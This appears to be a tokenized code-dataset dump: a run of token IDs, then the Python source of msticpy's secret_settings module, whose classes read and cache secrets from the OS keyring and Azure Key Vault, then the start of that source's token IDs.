13,
462,
1678,
921,
29889,
2634,
3522,
10108,
4619,
29871,
29896,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
390,
22530,
29918,
15176,
11375,
2544,
29901,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
470,
921,
29889,
2634,
3522,
10108,
1275,
1999,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
1550,
10032,
29918,
2141,
1853,
29918,
2804,
2672,
19577,
29901,
30004,
13,
462,
1678,
6773,
30004,
13,
18884,
921,
29889,
2634,
3522,
10108,
22361,
29871,
29896,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
19246,
29918,
29907,
4219,
29979,
29901,
30004,
13,
18884,
565,
451,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
396,
4669,
2847,
3950,
29889,
1094,
363,
1409,
2847,
19427,
313,
4149,
2038,
511,
30004,
13,
18884,
396,
6088,
773,
16732,
26815,
22993,
13,
18884,
921,
29889,
2764,
368,
10108,
4619,
29871,
29896,
30004,
13,
18884,
302,
353,
9071,
29898,
29873,
29892,
438,
29933,
17637,
29918,
26019,
8443,
13,
30004,
13,
18884,
770,
28301,
3744,
2776,
2061,
6644,
29898,
2451,
1125,
1209,
30004,
13,
18884,
1018,
29901,
30004,
13,
462,
1678,
565,
451,
260,
29889,
4352,
29898,
22789,
3912,
29918,
29907,
4219,
29979,
1125,
30004,
13,
462,
4706,
1550,
5852,
29901,
30004,
13,
462,
9651,
260,
29873,
353,
260,
29889,
657,
26471,
13,
462,
9651,
565,
5135,
29873,
29889,
6979,
29889,
1767,
1275,
376,
657,
29908,
470,
30004,
13,
462,
462,
1678,
260,
29889,
6979,
29889,
1767,
1275,
376,
842,
1159,
322,
30004,
13,
462,
462,
1678,
260,
29889,
412,
1416,
1275,
3553,
3919,
29902,
3738,
1001,
1125,
30004,
13,
462,
18884,
565,
921,
29889,
687,
655,
5015,
919,
6818,
29901,
30004,
13,
462,
462,
1678,
12020,
260,
29889,
1482,
16676,
2392,
703,
14126,
12018,
2875,
376,
30004,
13,
462,
462,
9651,
376,
5943,
272,
1159,
30004,
13,
462,
18884,
302,
29889,
4397,
29898,
6678,
14683,
29898,
29873,
29892,
921,
29892,
5852,
11167,
13,
462,
462,
4706,
8528,
15094,
29903,
1660,
29928,
29918,
19094,
876,
30004,
13,
462,
9651,
1683,
29901,
30004,
13,
462,
18884,
565,
260,
29873,
297,
313,
1367,
3919,
29902,
3738,
1001,
29892,
28019,
13635,
29892,
29486,
4214,
1125,
30004,
13,
462,
462,
1678,
1178,
29918,
353,
9071,
29898,
29873,
8443,
13,
462,
18884,
25342,
260,
29873,
1275,
390,
22530,
29918,
29907,
4219,
29979,
29901,
30004,
13,
462,
462,
1678,
565,
921,
29889,
687,
655,
5015,
919,
6818,
29901,
30004,
13,
462,
462,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
14126,
12018,
376,
30004,
13,
462,
462,
18884,
376,
3018,
6504,
1919,
1159,
30004,
13,
462,
462,
1678,
12020,
28301,
3744,
2776,
2061,
6644,
30004,
13,
462,
18884,
1683,
29901,
30004,
13,
462,
462,
1678,
12020,
260,
29889,
1482,
16676,
2392,
703,
13919,
2875,
376,
30004,
13,
462,
462,
9651,
376,
978,
1159,
30004,
13,
462,
18884,
260,
29889,
21969,
9652,
29898,
15032,
1164,
8443,
13,
462,
18884,
302,
29889,
4397,
29898,
4247,
29898,
29873,
29892,
13756,
13171,
15631,
29918,
26019,
29892,
518,
333,
3383,
30004,
13,
462,
462,
4706,
21444,
29898,
29873,
29892,
921,
29892,
23353,
1529,
4638,
876,
30004,
13,
462,
9651,
565,
451,
260,
29889,
4352,
29898,
19795,
1529,
1125,
2867,
30004,
13,
462,
4706,
260,
29889,
21969,
9652,
29898,
22789,
3912,
29918,
29907,
4219,
29979,
8443,
13,
18884,
5174,
28301,
3744,
2776,
2061,
6644,
408,
321,
29901,
1209,
30004,
13,
18884,
1751,
4167,
29889,
4397,
29898,
29876,
8443,
13,
18884,
260,
29889,
16192,
7094,
392,
353,
7700,
30004,
13,
18884,
921,
29889,
2764,
368,
10108,
22361,
29871,
29896,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
390,
22530,
29918,
29907,
4219,
29979,
29901,
30004,
13,
18884,
565,
451,
260,
29889,
16192,
7094,
392,
322,
921,
29889,
2764,
368,
10108,
2804,
1067,
29901,
30004,
13,
462,
1678,
12020,
20969,
2392,
703,
29925,
2190,
2965,
29901,
1492,
3151,
368,
9225,
305,
1159,
30004,
13,
18884,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
19246,
29918,
16320,
1430,
29901,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
462,
1678,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
29892,
15345,
876,
30004,
13,
462,
1678,
921,
29889,
862,
264,
10108,
4619,
29871,
29896,
30004,
13,
18884,
1683,
29901,
30004,
13,
462,
1678,
1550,
313,
3372,
4097,
322,
30004,
13,
462,
9651,
1015,
6572,
1133,
663,
29889,
657,
29898,
3372,
4097,
14352,
29896,
1822,
1853,
19925,
1405,
30004,
13,
462,
9651,
1015,
6572,
1133,
663,
29961,
28577,
29962,
1125,
30004,
13,
462,
4706,
10032,
29918,
26471,
13,
30004,
13,
462,
1678,
396,
29273,
3861,
1286,
29892,
304,
4943,
675,
278,
302,
29899,
653,
1206,
363,
302,
1405,
29871,
29900,
22993,
13,
462,
1678,
396,
1334,
1818,
731,
12812,
7094,
392,
297,
1206,
727,
526,
6273,
322,
30004,
13,
462,
1678,
396,
278,
937,
697,
338,
263,
6528,
29886,
470,
443,
653,
29974,
24028,
22993,
13,
462,
1678,
565,
12768,
29901,
30004,
13,
462,
4706,
302,
353,
12768,
14352,
29896,
29962,
30004,
13,
462,
1678,
1683,
29901,
30004,
13,
462,
4706,
302,
353,
4669,
26471,
13,
462,
4706,
302,
29889,
1853,
29918,
353,
6213,
30004,
13,
462,
1678,
260,
29889,
16192,
7094,
392,
353,
5852,
30004,
13,
462,
1678,
565,
260,
29889,
4352,
29898,
22789,
3912,
29918,
16320,
1430,
1125,
30004,
13,
462,
4706,
565,
302,
29889,
1853,
29918,
1275,
29091,
29901,
30004,
13,
462,
9651,
12768,
29889,
7323,
26471,
13,
462,
9651,
302,
29889,
4397,
29898,
3372,
4167,
29889,
7323,
3101,
30004,
13,
462,
4706,
1683,
29901,
30004,
13,
462,
9651,
302,
353,
9071,
29898,
29873,
29892,
315,
9818,
29892,
518,
3372,
4167,
29889,
7323,
3285,
9071,
29898,
29873,
29892,
365,
9047,
29897,
2314,
30004,
13,
462,
4706,
1751,
4167,
29889,
4397,
29898,
29876,
8443,
13,
462,
4706,
260,
29889,
16192,
7094,
392,
353,
7700,
30004,
13,
462,
1678,
1683,
29901,
30004,
13,
462,
4706,
565,
302,
29889,
1853,
29918,
1275,
29091,
29901,
30004,
13,
462,
9651,
302,
29889,
1853,
29918,
353,
29091,
29918,
29956,
13054,
29918,
1718,
10749,
30004,
13,
462,
4706,
1683,
29901,
30004,
13,
462,
9651,
12768,
29889,
4397,
29898,
4247,
29898,
29873,
29892,
315,
9818,
876,
30004,
13,
462,
4706,
921,
29889,
862,
264,
10108,
4619,
29871,
29896,
30004,
13,
30004,
13,
9651,
25342,
260,
29873,
1275,
390,
22530,
29918,
16320,
1430,
29901,
30004,
13,
18884,
565,
260,
29889,
16192,
7094,
392,
470,
921,
29889,
862,
264,
10108,
1275,
715,
29901,
30004,
13,
462,
1678,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
18884,
1550,
5852,
29901,
30004,
13,
462,
1678,
260,
29873,
353,
10032,
29918,
2141,
1853,
29918,
30004,
13,
462,
1678,
565,
260,
29873,
297,
313,
26284,
29892,
315,
9818,
29892,
29091,
29918,
29956,
13054,
29918,
1718,
10749,
1125,
30004,
13,
462,
4706,
2867,
30004,
13,
18884,
565,
260,
29873,
2804,
15345,
29901,
30004,
13,
462,
1678,
565,
1751,
4167,
29901,
30004,
13,
462,
4706,
302,
353,
1751,
4167,
14352,
29896,
29962,
30004,
13,
462,
4706,
565,
302,
29961,
29896,
1822,
1853,
29918,
2804,
23353,
1529,
29901,
30004,
13,
462,
9651,
302,
29961,
29896,
29962,
353,
9071,
29898,
29873,
29892,
365,
9047,
29892,
518,
29876,
29961,
29896,
24960,
30004,
13,
462,
4706,
1683,
29901,
30004,
13,
462,
9651,
302,
29961,
29896,
1822,
1853,
29918,
353,
365,
9047,
30004,
13,
462,
1678,
1683,
29901,
30004,
13,
462,
4706,
12020,
20969,
2392,
703,
29965,
13996,
6021,
5253,
310,
1751,
4167,
1159,
30004,
13,
18884,
921,
29889,
862,
264,
10108,
22361,
29871,
29896,
30004,
13,
30004,
13,
9651,
396,
15854,
2454,
3031,
5283,
265,
4635,
291,
2794,
591,
1122,
12812,
4822,
263,
25899,
30004,
13,
9651,
396,
322,
964,
278,
6763,
310,
1790,
3229,
29889,
960,
577,
29892,
2867,
714,
310,
30004,
13,
9651,
396,
278,
1550,
2425,
322,
1235,
278,
260,
29889,
16192,
7094,
392,
5900,
4386,
4436,
22993,
13,
9651,
1683,
29901,
30004,
13,
18884,
12020,
28301,
3744,
2776,
3410,
3554,
30004,
13,
1678,
5174,
28301,
3744,
2776,
3410,
3554,
408,
321,
29901,
1209,
30004,
13,
30004,
13,
1678,
565,
921,
29889,
20849,
10108,
2804,
298,
29880,
29901,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
584,
1156,
1577,
1159,
30004,
13,
1678,
565,
921,
29889,
862,
264,
10108,
2804,
715,
29901,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
1723,
297,
3847,
9188,
936,
1159,
30004,
13,
1678,
565,
921,
29889,
2634,
3522,
10108,
2804,
1999,
29901,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
4514,
297,
2380,
4603,
1159,
30004,
13,
1678,
565,
260,
29889,
16192,
7094,
392,
29901,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
18552,
292,
1751,
392,
1159,
30004,
13,
30004,
13,
1678,
260,
29889,
16192,
7094,
392,
353,
5852,
30004,
13,
1678,
260,
29889,
348,
657,
26471,
13,
1678,
1550,
12768,
29901,
30004,
13,
4706,
10032,
29918,
26471,
13,
1678,
736,
1751,
4167,
29889,
7323,
26471,
13,
30004,
13,
1753,
6088,
29898,
4993,
29892,
10422,
29922,
8516,
29892,
6257,
29918,
1220,
29918,
4537,
29922,
29896,
1125,
30004,
13,
1678,
9995,
12914,
777,
12728,
30004,
13,
30004,
13,
1678,
826,
3174,
29901,
30004,
13,
4706,
2752,
29901,
278,
12728,
2752,
29892,
408,
263,
1347,
30004,
13,
4706,
10422,
29901,
278,
10422,
304,
3160,
297,
7191,
30004,
13,
4706,
6257,
29918,
1220,
29918,
4537,
29901,
278,
1196,
1353,
310,
278,
937,
1196,
310,
278,
30004,
13,
9651,
4502,
297,
2752,
29892,
363,
1962,
7191,
30004,
13,
1678,
16969,
29901,
30004,
13,
4706,
278,
21213,
2752,
775,
848,
3829,
30004,
13,
1678,
390,
1759,
267,
29901,
30004,
13,
4706,
20969,
2392,
30004,
13,
1678,
9995,
30004,
13,
1678,
260,
353,
25159,
3950,
29898,
4993,
29892,
10422,
29892,
6257,
29918,
1220,
29918,
4537,
8443,
13,
1678,
921,
353,
3831,
3955,
2677,
29898,
8824,
8443,
13,
1678,
302,
353,
14415,
29898,
29873,
29892,
921,
8443,
13,
1678,
565,
451,
260,
29889,
15091,
29901,
30004,
13,
4706,
12020,
260,
29889,
1482,
16676,
2392,
703,
16676,
1059,
1159,
30004,
13,
1678,
736,
302,
30004,
13,
30004,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
30004,
13,
1678,
1121,
353,
6088,
29898,
3150,
29898,
9675,
29889,
19218,
29961,
29896,
14664,
949,
3285,
9675,
29889,
19218,
29961,
29896,
2314,
30004,
13,
1678,
1596,
29898,
710,
29898,
2914,
876,
30004,
13,
2
] |
msticpy/common/secret_settings.py | GiuseppeLaurenza/msticpy | 0 | 153745 | <gh_stars>0
# -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
"""Settings provider for secrets."""
import re
from functools import partial
from typing import Any, Callable, Dict, Optional, Set, Tuple
import keyring
from keyring.errors import KeyringError, KeyringLocked
from .._version import VERSION
from . import pkg_config as config
from .exceptions import MsticpyKeyVaultConfigError
from .keyvault_client import BHKeyVaultClient
from .keyvault_settings import KeyVaultSettings
from .utility import export
__version__ = VERSION
__author__ = "<NAME>"
@export
class KeyringClient:
"""Keyring client wrapper."""
def __init__(self, name: str = "key-cache", debug: bool = False):
"""
Initialize the keyring client.
Parameters
----------
name : str, optional
Name of the credential group, by default "system"
debug : bool, optional
Output debug info, by default False
"""
self.debug = debug
self.keyring = name
self._secret_names: Set[str] = set()
def __getitem__(self, key: str):
"""Get key name."""
cred = self.get_secret(key)
if cred:
return cred
raise KeyError
def get_secret(self, secret_name: str) -> Any:
"""
Retrieve a secret from the keyring.
Parameters
----------
secret_name : str
Secret name.
Returns
-------
Any
Secret value.
"""
secret = None
if self.debug:
print(f"Fetching {secret_name} from keyring")
try:
secret = keyring.get_password(self.keyring, secret_name)
except (KeyringError, KeyringLocked):
if self.debug:
print(
"Keyring error retrieving credentials",
f"for {secret_name} from keyring {self.keyring}",
)
if not secret and self.debug:
print("No credentials", f"for {secret_name} from keyring {self.keyring}")
return secret
def set_secret(self, secret_name: str, secret_value: Any):
"""
Set a secret in the keyring group.
Parameters
----------
secret_name : str
Name of the secret
secret_value : Any
Secret value
"""
if self.debug:
print(f"Saving {secret_name} to keyring {self.keyring}")
self._secret_names.add(secret_name)
keyring.set_password(self.keyring, secret_name, secret_value)
@export
class SecretsClient:
"""Secrets client - manages keyvault and keyring secrets."""
def __init__(self, tenant_id: str = None, use_keyring: bool = True):
"""
Initialize SecretsClient instance.
Parameters
----------
tenant_id : str, optional
TenantID, by default None
use_keyring : bool, optional
If True use keyring to cache secrets, by default True
Raises
------
MsticpyKeyVaultConfigError
Missing or invalid configuration settings.
Notes
-----
Requires KeyVault settings to be defined in msticpyconfig.yaml
"""
self._kv_settings = KeyVaultSettings()
self.tenant_id = tenant_id or self._kv_settings.get("tenantid")
if not self.tenant_id:
raise MsticpyKeyVaultConfigError(
"Could not get TenantId from function parameters or configuration.",
"Please add this to the KeyVault section of msticpyconfig.yaml",
title="missing tenant ID value.",
)
self.kv_secret_vault: Dict[str, str] = {}
self.kv_vaults: Dict[str, BHKeyVaultClient] = {}
self._use_keyring = use_keyring or self._kv_settings.get("UseKeyring", False)
if self._use_keyring:
self._keyring_client = KeyringClient("Providers")
def get_secret_accessor(self, setting_path: str) -> Callable[[], Any]:
"""
Return accessor function for a secret.
Parameters
----------
setting_path : str
The msticpy configuration path (dot-separated)
Returns
-------
Callable[[None], Any]
Accessor function for the secret value.
"""
vault_name, secret_name = self._get_kv_vault_and_name(setting_path)
if vault_name is None or secret_name is None:
return lambda: secret_name if secret_name else ""
return self._get_secret_func(secret_name, vault_name)
def _add_key_vault(self, vault_name: str, secret_name: str):
"""Add the KeyVault instance responsible for storing `secret_name`."""
vault = self.kv_vaults.get(vault_name)
if not vault:
vault = BHKeyVaultClient(self.tenant_id, vault_name=vault_name)
self.kv_vaults[vault_name] = vault
self.kv_secret_vault[secret_name] = vault_name
@staticmethod
def format_kv_name(setting_path):
"""Return normalized name for use as a KeyVault secret name."""
return re.sub("[^0-9a-zA-Z-]", "-", setting_path)
def _get_kv_vault_and_name(
self, setting_path: str
) -> Tuple[Optional[str], Optional[str]]:
"""Return the vault and secret name for a config path."""
setting_item = config.get_config(setting_path)
if not isinstance(setting_item, dict):
return None, str(setting_item)
if "KeyVault" in setting_item:
kv_val = setting_item.get("KeyVault")
def_vault_name = self._kv_settings.get("VaultName")
if not kv_val or kv_val.casefold() == "default":
# If no value, get the default VaultName from settings
# and use the setting path as the secret name
if not def_vault_name:
raise ValueError("No VaultName defined in KeyVault settings.")
secret_name = self.format_kv_name(setting_path)
return def_vault_name, secret_name
if "/" in kv_val:
# '/' delimited string means VaultName/Secret
vault_name, secret_name = kv_val.split("/")
return vault_name, self.format_kv_name(secret_name)
if not def_vault_name:
raise MsticpyKeyVaultConfigError(
"Check that you have specified the right value for VaultName"
+ " in your configuration",
f"No VaultName defined in KeyVault settings for {setting_path}.",
title="Key Vault vault name not found.",
)
# If there is a single string - take that as the secret name
return def_vault_name, self.format_kv_name(kv_val)
return None, None
def _get_secret_func(self, secret_name: str, vault_name: str) -> Callable[[], Any]:
"""Return a func to access a secret."""
if self._use_keyring and self._keyring_client.get_secret(secret_name):
return self._create_secret_func(self._keyring_client, secret_name)
# If the secret is not in keyring, get the vault holding this secret
if not self.kv_secret_vault.get(secret_name):
self._add_key_vault(secret_name=secret_name, vault_name=vault_name)
vault = self.kv_vaults[vault_name]
if self._use_keyring:
# store the secret in keyring and return an accessor
# to the keyring value.
self._keyring_client.set_secret(secret_name, vault.get_secret(secret_name))
return self._create_secret_func(self._keyring_client, secret_name)
# if not using Keyring - return a KeyVault accessor
return self._create_secret_func(vault, secret_name)
@staticmethod
def _create_secret_func(secret_store, secret_name):
return partial(secret_store.get_secret, secret_name=secret_name)
@staticmethod
def read_secret(secret_object: Any) -> Any:
"""
Return the secret value.
Parameters
----------
secret_object : Any
If it is a func, call and return the return value
of that func. Otherwise just return the object.
Returns
-------
Any
The secret value
"""
if callable(secret_object):
return secret_object()
return secret_object
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
448,
2683,
2683,
2683,
2683,
1378,
13,
29937,
14187,
1266,
313,
29883,
29897,
7783,
15025,
29889,
2178,
10462,
21676,
29889,
13,
29937,
10413,
21144,
1090,
278,
341,
1806,
19245,
29889,
2823,
19245,
29889,
3945,
297,
278,
2060,
3876,
363,
13,
29937,
19405,
2472,
29889,
13,
29937,
448,
2683,
2683,
2683,
2683,
1378,
29899,
13,
15945,
29908,
9585,
13113,
363,
22183,
1372,
1213,
15945,
13,
5215,
337,
13,
3166,
2090,
312,
8789,
1053,
7687,
13,
3166,
19229,
1053,
3139,
29892,
8251,
519,
29892,
360,
919,
29892,
28379,
29892,
3789,
29892,
12603,
552,
13,
13,
5215,
1820,
5393,
13,
3166,
1820,
5393,
29889,
12523,
1053,
7670,
5393,
2392,
29892,
7670,
5393,
16542,
287,
13,
13,
3166,
6317,
29918,
3259,
1053,
478,
1001,
13381,
13,
3166,
869,
1053,
282,
9415,
29918,
2917,
408,
2295,
13,
3166,
869,
11739,
29879,
1053,
341,
303,
293,
2272,
2558,
29963,
1292,
3991,
2392,
13,
3166,
869,
1989,
29894,
1292,
29918,
4645,
1053,
350,
29950,
2558,
29963,
1292,
4032,
13,
3166,
869,
1989,
29894,
1292,
29918,
11027,
1053,
7670,
29963,
1292,
9585,
13,
3166,
869,
329,
1793,
1053,
5609,
13,
13,
1649,
3259,
1649,
353,
478,
1001,
13381,
13,
1649,
8921,
1649,
353,
9872,
5813,
11903,
13,
13,
13,
29992,
15843,
13,
1990,
7670,
5393,
4032,
29901,
13,
1678,
9995,
2558,
5393,
3132,
14476,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1024,
29901,
851,
353,
376,
1989,
29899,
8173,
613,
4744,
29901,
6120,
353,
7700,
1125,
13,
4706,
9995,
13,
4706,
25455,
278,
1820,
5393,
3132,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
1024,
584,
851,
29892,
13136,
13,
9651,
4408,
310,
278,
6625,
2556,
2318,
29892,
491,
2322,
376,
5205,
29908,
13,
4706,
4744,
584,
6120,
29892,
13136,
13,
9651,
10604,
4744,
5235,
29892,
491,
2322,
7700,
13,
13,
4706,
9995,
13,
4706,
1583,
29889,
8382,
353,
4744,
13,
4706,
1583,
29889,
1989,
5393,
353,
1024,
13,
4706,
1583,
3032,
19024,
29918,
7039,
29901,
3789,
29961,
710,
29962,
353,
731,
580,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
1820,
29901,
851,
1125,
13,
4706,
9995,
2577,
1820,
1024,
1213,
15945,
13,
4706,
6625,
353,
1583,
29889,
657,
29918,
19024,
29898,
1989,
29897,
13,
4706,
565,
6625,
29901,
13,
9651,
736,
6625,
13,
4706,
12020,
7670,
2392,
13,
13,
1678,
822,
679,
29918,
19024,
29898,
1311,
29892,
7035,
29918,
978,
29901,
851,
29897,
1599,
3139,
29901,
13,
4706,
9995,
13,
4706,
4649,
29878,
2418,
263,
7035,
515,
278,
1820,
5393,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
7035,
29918,
978,
584,
851,
13,
9651,
10213,
1024,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
3139,
13,
9651,
10213,
995,
29889,
13,
13,
4706,
9995,
13,
4706,
7035,
353,
6213,
13,
4706,
565,
1583,
29889,
8382,
29901,
13,
9651,
1596,
29898,
29888,
29908,
20927,
292,
426,
19024,
29918,
978,
29913,
515,
1820,
5393,
1159,
13,
4706,
1018,
29901,
13,
9651,
7035,
353,
1820,
5393,
29889,
657,
29918,
5630,
29898,
1311,
29889,
1989,
5393,
29892,
7035,
29918,
978,
29897,
13,
4706,
5174,
313,
2558,
5393,
2392,
29892,
7670,
5393,
16542,
287,
1125,
13,
9651,
565,
1583,
29889,
8382,
29901,
13,
18884,
1596,
29898,
13,
462,
1678,
376,
2558,
5393,
1059,
5663,
15387,
16140,
613,
13,
462,
1678,
285,
29908,
1454,
426,
19024,
29918,
978,
29913,
515,
1820,
5393,
426,
1311,
29889,
1989,
5393,
17671,
13,
18884,
1723,
13,
4706,
565,
451,
7035,
322,
1583,
29889,
8382,
29901,
13,
9651,
1596,
703,
3782,
16140,
613,
285,
29908,
1454,
426,
19024,
29918,
978,
29913,
515,
1820,
5393,
426,
1311,
29889,
1989,
5393,
27195,
13,
4706,
736,
7035,
13,
13,
1678,
822,
731,
29918,
19024,
29898,
1311,
29892,
7035,
29918,
978,
29901,
851,
29892,
7035,
29918,
1767,
29901,
3139,
1125,
13,
4706,
9995,
13,
4706,
3789,
263,
7035,
297,
278,
1820,
5393,
2318,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
7035,
29918,
978,
584,
851,
13,
9651,
4408,
310,
278,
7035,
13,
4706,
7035,
29918,
1767,
584,
3139,
13,
9651,
10213,
995,
13,
13,
4706,
9995,
13,
4706,
565,
1583,
29889,
8382,
29901,
13,
9651,
1596,
29898,
29888,
29908,
29903,
5555,
426,
19024,
29918,
978,
29913,
304,
1820,
5393,
426,
1311,
29889,
1989,
5393,
27195,
13,
4706,
1583,
3032,
19024,
29918,
7039,
29889,
1202,
29898,
19024,
29918,
978,
29897,
13,
4706,
1820,
5393,
29889,
842,
29918,
5630,
29898,
1311,
29889,
1989,
5393,
29892,
7035,
29918,
978,
29892,
7035,
29918,
1767,
29897,
13,
13,
13,
29992,
15843,
13,
1990,
5356,
27487,
4032,
29901,
13,
1678,
9995,
7898,
27487,
3132,
448,
767,
1179,
1820,
29894,
1292,
322,
1820,
5393,
22183,
1372,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3006,
424,
29918,
333,
29901,
851,
353,
6213,
29892,
671,
29918,
1989,
5393,
29901,
6120,
353,
5852,
1125,
13,
4706,
9995,
13,
4706,
25455,
5356,
27487,
4032,
2777,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3006,
424,
29918,
333,
584,
851,
29892,
13136,
13,
9651,
12444,
424,
1367,
29892,
491,
2322,
6213,
13,
4706,
671,
29918,
1989,
5393,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
671,
1820,
5393,
304,
7090,
22183,
1372,
29892,
491,
2322,
5852,
13,
13,
4706,
390,
1759,
267,
13,
4706,
448,
23648,
13,
4706,
341,
303,
293,
2272,
2558,
29963,
1292,
3991,
2392,
13,
9651,
4750,
292,
470,
8340,
5285,
6055,
29889,
13,
13,
4706,
8695,
13,
4706,
448,
807,
13,
4706,
830,
339,
2658,
7670,
29963,
1292,
6055,
304,
367,
3342,
297,
286,
303,
293,
2272,
2917,
29889,
25162,
13,
13,
4706,
9995,
13,
4706,
1583,
3032,
27049,
29918,
11027,
353,
7670,
29963,
1292,
9585,
580,
13,
13,
4706,
1583,
29889,
841,
424,
29918,
333,
353,
3006,
424,
29918,
333,
470,
1583,
3032,
27049,
29918,
11027,
29889,
657,
703,
841,
424,
333,
1159,
13,
4706,
565,
451,
1583,
29889,
841,
424,
29918,
333,
29901,
13,
9651,
12020,
341,
303,
293,
2272,
2558,
29963,
1292,
3991,
2392,
29898,
13,
18884,
376,
23323,
451,
679,
12444,
424,
1204,
515,
740,
4128,
470,
5285,
19602,
13,
18884,
376,
12148,
788,
445,
304,
278,
7670,
29963,
1292,
4004,
310,
286,
303,
293,
2272,
2917,
29889,
25162,
613,
13,
18884,
3611,
543,
27259,
3006,
424,
3553,
995,
19602,
13,
9651,
1723,
13,
4706,
1583,
29889,
27049,
29918,
19024,
29918,
29894,
1292,
29901,
360,
919,
29961,
710,
29892,
851,
29962,
353,
6571,
13,
4706,
1583,
29889,
27049,
29918,
29894,
1292,
29879,
29901,
360,
919,
29961,
710,
29892,
350,
29950,
2558,
29963,
1292,
4032,
29962,
353,
6571,
13,
4706,
1583,
3032,
1509,
29918,
1989,
5393,
353,
671,
29918,
1989,
5393,
470,
1583,
3032,
27049,
29918,
11027,
29889,
657,
703,
11403,
2558,
5393,
613,
7700,
29897,
13,
4706,
565,
1583,
3032,
1509,
29918,
1989,
5393,
29901,
13,
9651,
1583,
3032,
1989,
5393,
29918,
4645,
353,
7670,
5393,
4032,
703,
1184,
29454,
1159,
13,
13,
1678,
822,
679,
29918,
19024,
29918,
5943,
272,
29898,
1311,
29892,
4444,
29918,
2084,
29901,
851,
29897,
1599,
8251,
519,
8999,
1402,
3139,
5387,
13,
4706,
9995,
13,
4706,
7106,
2130,
272,
740,
363,
263,
7035,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
4444,
29918,
2084,
584,
851,
13,
9651,
450,
286,
303,
293,
2272,
5285,
2224,
313,
6333,
29899,
25048,
630,
29897,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
8251,
519,
8999,
8516,
1402,
3139,
29962,
13,
9651,
11028,
272,
740,
363,
278,
7035,
995,
29889,
13,
13,
4706,
9995,
13,
4706,
325,
1292,
29918,
978,
29892,
7035,
29918,
978,
353,
1583,
3032,
657,
29918,
27049,
29918,
29894,
1292,
29918,
392,
29918,
978,
29898,
26740,
29918,
2084,
29897,
13,
4706,
565,
325,
1292,
29918,
978,
338,
6213,
470,
7035,
29918,
978,
338,
6213,
29901,
13,
9651,
736,
14013,
29901,
7035,
29918,
978,
565,
7035,
29918,
978,
1683,
5124,
13,
4706,
736,
1583,
3032,
657,
29918,
19024,
29918,
9891,
29898,
19024,
29918,
978,
29892,
325,
1292,
29918,
978,
29897,
13,
13,
1678,
822,
903,
1202,
29918,
1989,
29918,
29894,
1292,
29898,
1311,
29892,
325,
1292,
29918,
978,
29901,
851,
29892,
7035,
29918,
978,
29901,
851,
1125,
13,
4706,
9995,
2528,
278,
7670,
29963,
1292,
2777,
14040,
363,
15446,
421,
19024,
29918,
978,
29952,
1213,
15945,
13,
4706,
325,
1292,
353,
1583,
29889,
27049,
29918,
29894,
1292,
29879,
29889,
657,
29898,
29894,
1292,
29918,
978,
29897,
13,
4706,
565,
451,
325,
1292,
29901,
13,
9651,
325,
1292,
353,
350,
29950,
2558,
29963,
1292,
4032,
29898,
1311,
29889,
841,
424,
29918,
333,
29892,
325,
1292,
29918,
978,
29922,
29894,
1292,
29918,
978,
29897,
13,
9651,
1583,
29889,
27049,
29918,
29894,
1292,
29879,
29961,
29894,
1292,
29918,
978,
29962,
353,
325,
1292,
13,
4706,
1583,
29889,
27049,
29918,
19024,
29918,
29894,
1292,
29961,
19024,
29918,
978,
29962,
353,
325,
1292,
29918,
978,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
3402,
29918,
27049,
29918,
978,
29898,
26740,
29918,
2084,
1125,
13,
4706,
9995,
11609,
4226,
1891,
1024,
363,
671,
408,
263,
7670,
29963,
1292,
7035,
1024,
1213,
15945,
13,
4706,
736,
337,
29889,
1491,
703,
22896,
29900,
29899,
29929,
29874,
29899,
25265,
29899,
29999,
29899,
29962,
613,
11663,
613,
4444,
29918,
2084,
29897,
13,
13,
1678,
822,
903,
657,
29918,
27049,
29918,
29894,
1292,
29918,
392,
29918,
978,
29898,
13,
4706,
1583,
29892,
4444,
29918,
2084,
29901,
851,
13,
1678,
1723,
1599,
12603,
552,
29961,
27636,
29961,
710,
1402,
28379,
29961,
710,
5262,
29901,
13,
4706,
9995,
11609,
278,
325,
1292,
322,
7035,
1024,
363,
263,
2295,
2224,
1213,
15945,
13,
4706,
4444,
29918,
667,
353,
2295,
29889,
657,
29918,
2917,
29898,
26740,
29918,
2084,
29897,
13,
13,
4706,
565,
451,
338,
8758,
29898,
26740,
29918,
